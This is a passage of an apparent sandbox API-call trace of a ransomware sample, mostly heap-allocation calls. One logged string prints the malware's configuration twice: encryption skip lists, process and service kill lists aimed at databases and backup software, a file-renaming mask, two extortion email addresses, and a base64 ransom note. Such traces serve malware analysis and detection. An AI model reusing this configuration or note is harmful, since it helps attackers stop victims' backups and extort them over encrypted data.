Ptr=0x33c1c30, Size=0x14) returned 0x33c6f10 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c7170 [0165.822] strtol (in: _Str="6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x327f830, _Radix=0 | out: _EndPtr=0x327f830*=", \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 6 [0165.822] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6f10, Size=0x18) returned 0x33c6ff0 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6dd0 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67b0 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c70b0 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67e0 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6ed0 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67e0, Size=0x8) returned 0x33c6830 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6e50 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6830, Size=0xc) returned 0x33c1ac8 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6db0 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1ac8, Size=0x10) returned 0x33c1b10 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6f10 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1b10, Size=0x14) returned 0x33c6ef0 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6df0 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6ef0, Size=0x18) returned 0x33c6e10 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6eb0 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6e10, Size=0x1c) returned 0x33cc050 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6ef0 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc050, Size=0x20) returned 0x33cbda8 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6f50 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cbda8, Size=0x24) returned 0x33c2348 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c7010 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2348, Size=0x28) returned 0x33c23d8 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6e10 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c23d8, Size=0x2c) returned 0x33bbb50 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6f70 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbb50, Size=0x30) returned 0x33bb7d0 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6e30 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb7d0, Size=0x34) returned 0x33cf4e0 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6e90 [0165.823] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf4e0, Size=0x38) returned 0x33cf960 [0165.823] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6f90 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf960, Size=0x3c) returned 0x33c0978 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6fb0 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c0978, Size=0x40) returned 0x33c05d0 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d04e8 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c05d0, Size=0x44) returned 0x33c28c0 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d04c8 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67b0, Size=0x8) returned 0x33c67e0 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d06e8 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67b0 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0708 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67b0, Size=0x8) returned 0x33c6830 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0788 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c6830, Size=0xc) returned 0x33c1c30 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0448 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1c30, Size=0x10) returned 0x33c1cf0 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d03e8 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1cf0, Size=0x14) returned 0x33d0468 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0768 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d0468, Size=0x18) returned 0x33d0588 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0468 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d0588, Size=0x1c) returned 0x33cbee8 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0508 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cbee8, Size=0x20) returned 0x33cc0c8 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0728 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc0c8, Size=0x24) returned 0x33c21c8 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0688 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c21c8, Size=0x28) returned 0x33c23a8 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d05e8 [0165.824] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c23a8, Size=0x2c) returned 0x33bb648 [0165.824] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0608 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb648, Size=0x30) returned 0x33bbb50 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d04a8 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbb50, Size=0x34) returned 0x33cf9e0 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d06a8 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67e0, Size=0xc) returned 0x33c1c30 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0668 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x4) returned 0x33c67b0 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0748 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67b0, Size=0x8) returned 0x33c67e0 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0588 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67e0, Size=0xc) returned 0x33c1af8 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0648 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1af8, Size=0x10) returned 0x33c1ac8 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d06c8 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1ac8, Size=0x14) returned 0x33d05c8 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0548 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d05c8, Size=0x18) returned 0x33d0528 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d03a8 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d0528, Size=0x1c) returned 0x33cc0c8 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d03c8 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc0c8, Size=0x20) returned 0x33cc140 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0408 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cc140, Size=0x24) returned 0x33c23a8 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d05a8 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c23a8, Size=0x28) returned 0x33c2348 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0488 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2348, Size=0x2c) returned 0x33bbc30 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0528 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bbc30, Size=0x30) returned 0x33bb7d0 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0568 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb7d0, Size=0x34) returned 0x33cf7a0 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0428 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf7a0, Size=0x38) returned 0x33cf520 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d05c8 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33cf520, Size=0x3c) returned 0x33c05d0 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0628 [0165.825] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c05d0, Size=0x40) returned 0x33c0618 [0165.825] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0948 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c0618, Size=0x44) returned 0x33c2a50 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d09e8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2a50, Size=0x48) returned 0x33c25f0 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0848 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c25f0, Size=0x4c) returned 0x33bb548 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0968 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x50) returned 0x33bb548 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d07a8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x54) returned 0x33bb548 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d08e8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x58) returned 0x33bb548 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0a48 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bb548, Size=0x5c) returned 0x33bc500 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d08a8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x60) returned 0x33bc500 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d08c8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x64) returned 0x33bc500 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0ac8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x68) returned 0x33bc500 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d09c8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bc500, Size=0x6c) returned 0x33b4a28 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0a08 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b4a28, Size=0x70) returned 0x33b4a28 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0a28 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b4a28, Size=0x74) returned 0x33bf3f0 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0928 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf3f0, Size=0x78) returned 0x33bf3f0 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0908 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf3f0, Size=0x7c) returned 0x33b9ee0 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0a68 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9ee0, Size=0x80) returned 0x33b9ee0 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0ae8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33b9ee0, Size=0x84) returned 0x33c2090 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d09a8 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2090, Size=0x88) returned 0x33c2090 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0988 [0165.826] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c2090, Size=0x8c) returned 0x33bacd0 [0165.826] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0888 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bacd0, Size=0x90) returned 0x33bacd0 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0868 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bacd0, Size=0x94) returned 0x33bf4b8 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0a88 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf4b8, Size=0x98) returned 0x33bf4b8 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0b08 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33bf4b8, Size=0x9c) returned 0x33ba578 [0165.827] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d0b48 [0165.827] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33ba578, Size=0xa0) returned 0x33ba578 [0165.827] 